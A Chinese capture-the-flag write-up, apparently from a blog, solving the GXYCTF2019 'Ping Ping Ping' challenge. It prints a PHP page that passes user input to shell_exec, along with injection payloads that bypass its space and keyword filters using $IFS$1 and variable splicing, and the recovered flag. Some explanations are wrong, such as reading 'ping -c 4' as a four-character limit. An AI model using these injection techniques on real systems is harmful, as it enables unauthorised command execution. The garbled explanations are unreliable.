[GXYCTF2019]Ping Ping Ping

[GXYCTF2019]Ping Ping Ping

打开

显示个/?ip=

写一下本地试试

?ip=127.0.0.1

有回显看一下列表

?ip=127.0.0.1|ls

?ip=127.0.0.1|ls

发现有flag.php访问文件

?ip=127.0.0.1|cat flag.php

得到这种界面,需要进行空格的过滤

空格过滤常见绕过注释:

< > %20(space), %09(tab), $IFS$1

不行符号也过滤了

换一种注释

?ip=127.0.0.1|cat$IFS$1flag.php

flag也给过滤了

回头看看另外一个文件

/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "
";
  print_r($a);
}

?>

源代码告诉我们 如果我们输入的 ip是存在的话,那么 ip=ip,并且会进行一个正则匹配(黑名单过滤),并且如果我们构造的payload中有 空格 页面就会返回一个 fxck your space ,如果我们构造的payload中有 bash 页面就会返回一个 fxck your bash…

if完之后,我们会遇见一个命令函数 shell_exec("ping -c 4 ".$ip),换句话说我们只能输入四个字符

shell_exec — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。

shell_exec(string $cmd): string

exec 是 Shell 内置命令,它有两种用法,一种是执行 Shell 命令,一种是操作文件描述符

ping -c Count 指定要被发送(或接收)的回送信号请求的数目,由 Count 变量指出

之后输出<pre>(输出原代码),并且将变量 a 所表示的数据给打印出来,如果我们令 $a=g;那么就可以饶过falg的黑名单

构造:

?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

弄完没找到,查了才知道php代码会被HTML解析成注释,所以查看源码即可发现flag。

flag{e9ccf59a-a3ab-45ca-a746-ff312830262d}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值